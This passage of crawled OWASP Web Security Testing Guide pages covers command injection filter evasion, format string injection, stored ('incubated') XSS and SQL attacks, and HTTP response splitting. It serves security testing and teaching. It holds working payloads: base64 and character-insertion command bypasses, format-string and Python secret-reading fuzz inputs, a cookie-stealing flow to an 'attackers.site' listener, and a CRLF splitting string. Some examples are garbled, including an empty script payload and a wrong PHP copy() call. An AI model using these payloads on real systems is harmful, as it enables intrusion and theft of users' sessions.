this section, we are going to explore some techniques used to bypass filters applied on operating system commands.\n\n#### Case Modification\n\nCase modification is a technique that is used to bypass OS command filters. This will be helpful if the server-side filter is case sensitive.\n\nFor instance, if we notice during our testing that the web server is blocking `;whoami`, we can try to use instead `;WhoAmi`, and see that the server-side filter is only blocking lowercase commands, we will be able to bypass it.\n\nThis technique will generally work on Windows systems.\n\nOn Linux, we will use a technique called **character shifting**. For instance, the command below will translate each uppercase character to its corresponding lowercase character.\n\n```\n;$(tr \"[A-Z]\" \"[a-z]\"<<<\"WhoaMi\") \n```\n\n#### Character Insertion\n\nCharacters like `\\`; `$@`, `'` can be inserted into Linux OS commands without affecting the normal execution of the command.\n\nFor example, `who\\ami`, `w$@hoami` or `wh'o'ami` will all execute the `whoami` command\n\n> Note: the number of single quotes `'` in the Linux command must be **even**, otherwise you will get an error. If you’re using Windows CMD, make sure to use double quotes `\"` instead.\n> \n> Furthermore, you can also use a caret `^` in CMD commands. For example, `whoa^mi` will execute the `whoami` command. This does not work in PowerShell.\n\n#### Base64 Encoding\n\nIn certain scenarios, the web server may filter commands such as `whoami`, `id`, etc.\n\nLet’s suppose that `whoami` is blocked by the web server. Therefore, we cannot use a payload like `;whoami`.\n\nTo bypass this restriction, we will use the base64 encoded format of `whoami` by executing: `echo -n 'whoami' | base64`. This will return `d2hvYW1p`.\nAfter that, we will send the following payload: `;bash<<<$(base64 -d<<< d2hvYW1p)` in the vulnerable parameter. This should then bypass the server-side filter and allow us to achieve remote command execution.\n\n**Finally, note that you may need to combine different special characters and OS command filter evasion techniques to successfully bypass the filters put in place by the web server.**\n\n## Blind Command Injection\n\nSometimes, we may not be able to see the output from our injected command in the web server’s HTTP response. Thus, we will need to find a way to confirm whether or not our injection succeeded. To do that, we can use `HTTP`, `DNS`, or `SMTP` remote servers under our control.\n\nWe can also use **time delay system commands** like `sleep` (Linux), `timeout` (Windows), or network utility like `ping`.\n\nFor instance, we can execute `;sleep(5)` and if the web server waits 5 seconds before sending a response back to us, we can confirm that it is vulnerable to a blind command injection.\n\nMoreover, we can also **redirect the output of the injected command in the web server’s web root**. `;whoami>/var/www/html/poc.txt;`\n\nAfter that, we can execute `curl http://website.com/poc.txt`. If we are able to retrieve the file, we can then confirm that the web server is vulnerable to a blind command injection.\n\n## Dangerous Command Execution APIs\n\nThe following APIs in different programming languages can execute operating system commands and may introduce command injection vulnerabilities if used with unsanitized user input.\n\n| Language | Dangerous APIs |\n| --- | --- |\n| Java | `Runtime.exec()` |\n| C/C++ | `system()`, `exec()`, `ShellExecute()` |\n| Python | `exec()`, `eval()`, `os.system()`, `os.popen()`, `subprocess.Popen()`, `subprocess.call()` |\n| PHP | `system()`, `shell_exec()`, `exec()`, `proc_open()`, `eval()`, `passthru()` |\n| Node.js | `child_process.exec()`, `execSync()`, `spawn()` |\n| Ruby | `system()`, `exec()`, `Open3.popen3()` |\n| Go | `exec.Command()` |\n| C# | `Process.Start()` |\n\n## Remediation\n\n### Sanitization\n\nThe URL query parameters and form data need to be validated and sanitized to prevent the injection of malicious characters.\n\nA blocklist of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.\n\nA allowlist containing only authorized characters or commands should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.\n\nGeneral deny list to be included for command injection can be `|` `;` `&` `$` `>` `<` `'` `\\` `!` `>>` `#`\n\nEscape or filter special characters for windows, `(` `)` `<` `>` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `^` `~` `!` `.` `\"` `%` `@` `/` `\\` `:` `+` `,` ```\n\nEscape or filter special characters for Linux, `{` `}` `(` `)` `>` `<` `&` `*` `‘` `|` `=` `?` `;` `[` `]` `$` `–` `#` `~` `!` `.` `\"` `%` `/` `\\` `:` `+` `,` ```\n\nMoreover, avoid using functions that execute operating system commands in your application unless absolutely necessary. For instance, instead of using `system(\"cp /path/to/file1.txt /path/to/file2.txt\")` to copy a file, you can directly use the php built-in function `copy(\"cp /path/to/file1.txt, /path/to/file2.txt\")` which does exactly the same thing. It’s worth noting that other development languages/frameworks generally offer similar built-in functionality.\n\n### Permissions\n\nThe web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all this information to test from a gray-box testing point of view.\n\n## Tools\n\n- OWASP [WebGoat](https://owasp.org/www-project-webgoat/)\n- [Commix](https://github.com/commixproject/commix)\n- [Invoke-DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)\n- [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator)\n\n## References\n\n- [CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)](https://cwe.mitre.org/data/definitions/78.html)\n- [ENV33-C. Do not call system()](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13162, "slov": 1990, "odkazu": 206, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:40", "sha256": "306bf774febcbed86d2047d2714697b1ad756283acde2f1228cfc5b0260c171c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/commixproject/commix", "https://github.com/danielbohannon/Invoke-DOSfuscation", "https://github.com/Bashfuscator/Bashfuscator", "https://cwe.mitre.org/data/definitions/78.html", "https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/13-Format_String_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/13-Format_String_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/13-Format_String_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Format String Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Static Analysis"}, {"uroven": 3, "text": "Manual Code Inspection"}, {"uroven": 3, "text": "Conversion Specifier Injection"}, {"uroven": 4, "text": "Manual Injection"}, {"uroven": 4, "text": "Tool Assisted Fuzzing"}], "markdown": "# WSTG - Latest\n\n# Format String Injection\n\n| ID |\n| --- |\n| WSTG-INJT-13 |\n\n## Summary\n\nA format string is a null-terminated character sequence that also contains conversion specifiers interpreted or converted at runtime. If server-side code [concatenates a user’s input with a format string](https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/), an attacker can append additional conversion specifiers to cause a runtime error, information disclosure, or buffer overflow.\n\nThe worst case for format strings vulnerabilities occur in languages that don’t check arguments and also include a `%n` specifier that writes to memory. These functions, if exploited by an attacker modifying a format string, could cause [information disclosure and code execution](https://www.veracode.com/security/format-string):\n\n- C and C++ [printf](https://en.cppreference.com/w/c/io/fprintf) and similar methods fprintf, sprintf, snprintf\n- Perl [printf](https://perldoc.perl.org/functions/printf.html) and sprintf\n\nThese format string functions cannot write to memory, but attackers can still cause information disclosure by changing format strings to output values the developers did not intend to send:\n\n- Python [str.format](https://docs.python.org/3/library/stdtypes.html#str.format) can be abused by injecting format strings that reach [other variables](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/) in the formatting context\n\nThe following format string functions can cause runtime errors if the attacker adds conversion specifiers:\n\n- Java [String.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html#format%28java.util.Locale%2Cjava.lang.String%2Cjava.lang.Object...%29) and [PrintStream.format](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html#format%2528java.util.Locale%252Cjava.lang.String%252Cjava.lang.Object...%2529)\n- PHP [printf](https://www.php.net/manual/es/function.printf.php)\n\nThe code pattern that causes a format string vulnerability is a call to a string format function that contains unsanitized user input. The following example shows how a debug `printf` could make a program vulnerable:\n\nThe example in C:\n\n```\nchar *userName = /* input from user controlled field */; printf(\"DEBUG Current user: \"); // Vulnerable debugging code printf(userName); \n```\n\nThe example in Java:\n\n```\nfinal String userName = /* input from user controlled field */; System.out.printf(\"DEBUG Current user: \"); // Vulnerable code: System.out.printf(userName); \n```\n\nIn this particular example, if the attacker set their `userName` to have one or more conversion specifiers, there would be unwanted behavior. The C example would [print out memory contents](https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf) if `userName` contained `%p%p%p%p%p`, and it can corrupt memory contents if there is a `%n` in the string. In the Java example, a `username` containing any specifier that needs an input (including `%x` or `%s`) would cause the program to crash with `IllegalFormatException`. Although the examples are still subject to other problems, the vulnerability can be fixed by printf arguments of `printf(\"DEBUG Current user: %s\", userName)`.\n\n## Test Objectives\n\n- Assess whether injecting format string conversion specifiers into user-controlled fields causes undesired behavior from the application.\n\n## How to Test\n\nTests include analysis of the code and injecting conversion specifiers as user input to the application under test.\n\n### Static Analysis\n\nStatic analysis tools can find format string vulnerabilities in either the code or in binaries. Examples of tools include:\n\n- C and C++: [Flawfinder](https://dwheeler.com/flawfinder/)\n- Java: FindSecurityBugs rule [FORMAT_STRING_MANIPULATION](https://find-sec-bugs.github.io/bugs.htm#FORMAT_STRING_MANIPULATION)\n- PHP: String formatter Analyzer in [phpsa](https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md#function_string_formater)\n\n### Manual Code Inspection\n\nStatic analysis may miss more subtle cases including format strings generated by complex code. To look for vulnerabilities manually in a codebase, a tester can look for all calls in the codebase that accept a format string and trace back to make sure untrusted input cannot change the format string.\n\n### Conversion Specifier Injection\n\nTesters can check at the unit test or full system test level by sending conversion specifiers in any string input. [Fuzz](https://owasp.org/www-community/Fuzzing) the program using all of the conversion specifiers for all languages the system under test uses. See the [OWASP Format string attack](https://owasp.org/www-community/attacks/Format_string_attack) page for possible inputs to use. If the test fails, the program will crash or display an unexpected output. If the test passes, the attempt to send a conversion specifier should be blocked, or the string should go through the system with no issues as with any other valid input.\n\nThe examples in the following subsections have a URL of this form:\n\n`https://vulnerable_host/userinfo?username=x`\n\n- The user-controlled value is `x` (for the `username` parameter).\n\n#### Manual Injection\n\nTesters can perform a manual test using a web browser or other web API debugging tools. Browse to the web application or site such that the query has conversion specifiers. Consider that most conversion specifiers need [encoding](https://tools.ietf.org/html/rfc3986#section-2.1) if sent inside a URL because they contain special characters including `%` and `{`. The test can introduce a string of specifiers `%s%s%s%n` by browsing with the following URL:\n\n`https://vulnerable_host/userinfo?username=%25s%25s%25s%25n`\n\nIf the web site is vulnerable, the browser or tool should receive an error, which may include a timeout or an HTTP return code 500.\n\nThe Java code returns the error\n\n`java.util.MissingFormatArgumentException: Format specifier '%s'`\n\nDepending on the C implementation, the process may crash completely with `Segmentation Fault`.\n\n#### Tool Assisted Fuzzing\n\nFuzzing tools including [wfuzz](https://github.com/xmendez/wfuzz) can automate injection tests. For wfuzz, start with a text file (fuzz.txt in this example) with one input per line:\n\nfuzz.txt:\n\n```\nalice\n%s%s%s%n\n%p%p%p%p%p\n{event.__init__.__globals__[CONFIG][SECRET_KEY]}\n```\n\nThe `fuzz.txt` file contains the following:\n\n- A valid input `alice` to verify the application can process a normal input\n- Two strings with C-like conversion specifiers\n- One Python conversion specifier to attempt to read global variables\n\nTo send the fuzzing input file to the web application under test, use the following command:\n\n`wfuzz -c -z file,fuzz.txt,urlencode https://vulnerable_host/userinfo?username=FUZZ`\n\nIn the above call, the `urlencode` argument enables the appropriate escaping for the strings and `FUZZ` (with the capital letters) tells the tool where to introduce the inputs.\n\nAn example output is as follows\n\n```\nID Response Lines Word Chars Payload\n===================================================================\n\n000000002: 500 0 L 5 W 142 Ch \"%25s%25s%25s%25n\"\n000000003: 500 0 L 5 W 137 Ch \"%25p%25p%25p%25p%25p\"\n000000004: 200 0 L 1 W 48 Ch \"%7Bevent.__init__.__globals__%5BCONFIG%5D%5BSECRET_KEY%5D%7D\"\n000000001: 200 0 L 1 W 5 Ch \"alice\"\n```\n\nThe above result validates the application’s weakness to the injection of C-like conversion specifiers `%s` and `%p`.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7469, "slov": 944, "odkazu": 217, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:42", "sha256": "d3d7504c4c3f9392513c66f0caf3a51ce57d96338513657b1e1705c5b5e6f763", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.netsparker.com/blog/web-security/string-concatenation-format-string-vulnerabilities/", "https://www.veracode.com/security/format-string", "https://en.cppreference.com/w/c/io/fprintf", "https://perldoc.perl.org/functions/printf.html", "https://docs.python.org/3/library/stdtypes.html", "https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/String.html", "https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/PrintStream.html", "https://www.php.net/manual/es/function.printf.php", "https://www.defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-Adv-Format-String-Attacks.pdf", "https://dwheeler.com/flawfinder/", "https://find-sec-bugs.github.io/bugs.htm", "https://github.com/ovr/phpsa/blob/master/docs/05_Analyzers.md", "https://tools.ietf.org/html/rfc3986", "https://github.com/xmendez/wfuzz", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/14-Incubated_Vulnerability", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/14-Incubated_Vulnerability", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/14-Incubated_Vulnerability", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Incubated Vulnerability"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "File Upload Example"}, {"uroven": 4, "text": "XSS Example on a Bulletin Board"}, {"uroven": 4, "text": "SQL Injection Example"}, {"uroven": 4, "text": "Misconfigured Server"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Advisories"}], "markdown": "# WSTG - Latest\n\n# Incubated Vulnerability\n\n| ID |\n| --- |\n| WSTG-INJT-14 |\n\n## Summary\n\nAlso often referred to as persistent attacks, incubated testing is a complex testing method that needs more than one data validation vulnerability to work. Incubated vulnerabilities are typically used to conduct “watering hole” attacks against users of legitimate web applications.\n\nIncubated vulnerabilities have the following characteristics:\n\n- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.\n- Secondly, once the attack vector was “recalled” the vector would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.\n\nExploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other component of the system, exploiting some vulnerability there.\n\nIn a penetration test, `incubated attacks` can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).\n\nThis type of asynchronous attack covers a great spectrum of attack vectors, among them the following:\n\n- File upload components in a web application, allowing the attacker to upload corrupted media files (JPEG images exploiting `CVE-2004-0200` , PNG images exploiting `CVE-2004-0597` , executable files, site pages with active component, etc.)\n- Cross-site scripting issues in public forums posts (see [Stored Cross Site Scripting](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/02-Stored_Cross_Site_Scripting) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user’s browser –using the trust level of the original (vulnerable) site at the user’s browser.\n- SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then they might take control of their browsers (for example with [BeEF](https://beefproject.com) ).\n- Misconfigured servers allowing installation of Java packages or similar site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)\n\n## Test Objectives\n\n- Identify injections that are stored and require a recall step to the stored injection.\n- Understand how a recall step could occur.\n- Set listeners or activate the recall step if possible.\n\n## How to Test\n\n### Black-Box Testing\n\n#### File Upload Example\n\nVerify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.\n\n#### XSS Example on a Bulletin Board\n\n1. Introduce JavaScript code as the value for the vulnerable field, for instance ``\n2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a “listener” at `attackers.site` host listening for all incoming connections.\n3. When users browse the vulnerable page, a request containing their cookie ( `document.cookie` is included as part of the requested URL) will be sent to the `attackers.site` host, such as: `GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1`\n4. Use cookies obtained to impersonate users at the vulnerable site.\n\n#### SQL Injection Example\n\nUsually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in [SQL Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05-SQL_Injection). For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pentester is allowed to do.\n\nThe tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.\n\nIn a similar fashion as in the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let’s suppose there is a `footer` table at the database with all footers for the site pages, including a `notice` field with the legal notice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the `notice` field at the `footer` table in the database.\n\n```\nSELECT field1, field2, field3 FROM table_x WHERE field2 = 'x';    UPDATE footer    SET notice = 'Copyright 1999-2030%20\n       '    WHERE notice = 'Copyright 1999-2030'; \n```\n\nNow, each user browsing the site will silently send their cookies to the `attackers.site`.\n\n#### Misconfigured Server\n\nSome web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Application Manager (or if the pentesters have been able to obtain valid credentials for the administration module by other means).\n\nIn this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pentester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).\n\nAs should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).\n\n### Gray-Box Testing\n\nGray-box or white-box testing techniques will be the same as previously discussed.\n\n- Examining input validation is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisted via a `backdoor` .\n- To combat the `backdoor` issue for client-side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client, and hence not execute.\n\n## Tools\n\n- [BeEF](https://beefproject.com)\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net/burp)\n- [Metasploit](https://www.metasploit.com/)\n\n## References\n\nMost of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.\n\n### Advisories\n\n- [CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186)\n- [Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability](https://cxsecurity.com/issue/WLB-2006080004)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8601, "slov": 1306, "odkazu": 206, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:43", "sha256": "7cc89f51b4427cea48a26d92b8323f185506c8f10befba114fd03c4a2ec3a72b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://beefproject.com/", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://www.metasploit.com/", "https://resources.sei.cmu.edu/library/asset-view.cfm?assetID=496186", "https://cxsecurity.com/issue/WLB-2006080004", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/15-HTTP_Response_Splitting", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/15-HTTP_Response_Splitting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/15-HTTP_Response_Splitting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "HTTP Response Splitting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# HTTP Response Splitting\n\n| ID |\n| --- |\n| WSTG-INJT-15 |\n\n## Summary\n\nHTTP Response Splitting is a vulnerability that occurs when an application incorporates unsanitized user input into HTTP response headers, allowing an attacker to inject Carriage Return (CR) and Line Feed (LF) characters. As a result, a single HTTP response can be interpreted as multiple distinct responses by clients or intermediary systems.\n\nSuccessful exploitation of HTTP Response Splitting can lead to various impacts, including web cache poisoning, cross-site scripting (XSS), content spoofing, session fixation, or other client-side attacks, depending on how the injected response is processed.\n\nThis section focuses exclusively on identifying and testing HTTP Response Splitting vulnerabilities at the application layer. HTTP Request Smuggling, which relies on parsing inconsistencies between multiple HTTP agents, is covered in a separate chapter.\n\n## Test Objectives\n\n- Identify user-controlled input that is reflected into HTTP response headers.\n- Assess whether CR ( `\\r` ) and LF ( `\\n` ) characters can be injected into response headers.\n- Determine the potential impact of successful HTTP Response Splitting attacks, such as cache poisoning or client-side exploitation.\n\n## How to Test\n\n### Black-Box Testing\n\nSome web applications use user-supplied input to generate the values of certain HTTP response headers. A common example is redirection logic, where the destination URL is derived from a request parameter.\n\nFor instance, assume a user is asked to choose between a standard or advanced interface. The selected option is passed as a parameter and reflected in a redirection response header.\n\nIf the parameter `interface` has the value `advanced`, the application may respond with:\n\n```\nHTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: https://victim.com/main.jsp?interface=advanced \n```\n\nWhen the browser receives this response, it follows the URL specified in the `Location` header. However, if the application does not properly validate or sanitize user input, an attacker may inject the sequence `%0d%0a`, representing CRLF characters used to separate HTTP header lines.\n\nBy injecting CRLF sequences, a tester may cause the response to be interpreted as two separate HTTP responses by downstream clients or intermediary systems, such as web caches. This behavior can be exploited to poison caches or deliver malicious content to users.\n\nFor example, the tester supplies the following value for the `interface` parameter:\n\n`advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0aSorry,%20System%20Down`\n\nThe resulting response from the vulnerable application may be:\n\n```\nHTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: https://victim.com/main.jsp?interface=advanced Content-Length: 0\n\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 35\n\nSorry,%20System%20Down\n```\n\nA web cache processing this response may interpret it as two distinct responses. If the attacker immediately issues a subsequent request for `/index.html`, the cache may associate that request with the second response and store it. As a result, all subsequent users accessing `victim.com/index.html` through that cache may receive the attacker-controlled content.\n\nAlternatively, the attacker may inject a JavaScript payload to perform a cross-site scripting attack against users served by the poisoned cache. Although the vulnerability resides in the application, the primary targets are its users.\n\nTo identify this issue, testers should locate all user-controlled input that influences HTTP response headers and verify whether CRLF sequences can be injected.\n\nThe response headers most commonly associated with HTTP Response Splitting include:\n\n- `Location`\n- `Set-Cookie`\n\nSuccessful exploitation in real-world scenarios may require careful consideration of additional factors:\n\n- The tester may need to craft response headers suitable for caching (e.g., `Last-Modified` set to a future date) and potentially invalidate existing cache entries using headers such as `Pragma: no-cache` .\n- Applications may filter CRLF characters but allow alternative encodings or character representations, which can sometimes be leveraged to bypass input validation.\n- Some platforms URL-encode portions of response headers (such as the path in the `Location` header) while leaving the query string unencoded, allowing injection through specific components of the URL.\n\nFor a deeper discussion of this attack class and additional exploitation scenarios, refer to the whitepapers listed in the References section.\n\n### Gray-Box Testing\n\nIn a gray-box testing scenario, knowledge of application architecture and server behavior improves exploitation reliability.\n\nDifferent servers or intermediaries may determine message boundaries differently (e.g., using fixed-size buffers), requiring precise offsets or padding. When vulnerable parameters are transmitted via GET, URL length limits may truncate payloads. Testers should identify alternative injection points or request methods, such as POST, to gain better control over payload length and positioning.\n\n## Remediation\n\nEnsure that user-supplied input is never placed into HTTP headers without strict validation and sanitization.\n\n- **Input Validation:** Reject or strip input containing Carriage Return ( `\\r` , `%0d` ) or Line Feed ( `\\n` , `%0a` ) characters before it is used in HTTP headers.\n- **URL Encoding:** If the input is part of a URL (e.g., in a `Location` header), ensure it is properly URL-encoded to prevent control characters from being interpreted as delimiters.\n- **Use Secure Frameworks:** Utilize built-in framework functions for setting headers (e.g., `setHeader()` , `addHeader()` ) rather than manually constructing raw HTTP response strings. Modern environments typically block header injection by default.\n\n## Tools\n\n- [ZAP](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net/burp)\n- [CRLFuzz](https://github.com/dwisiswant0/crlfuzz) - A tool designed specifically to scan for CRLF vulnerabilities.\n- [Nuclei](https://github.com/projectdiscovery/nuclei) - Can be used with specific templates to detect CRLF injection patterns.\n\n## References\n\n- [Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related 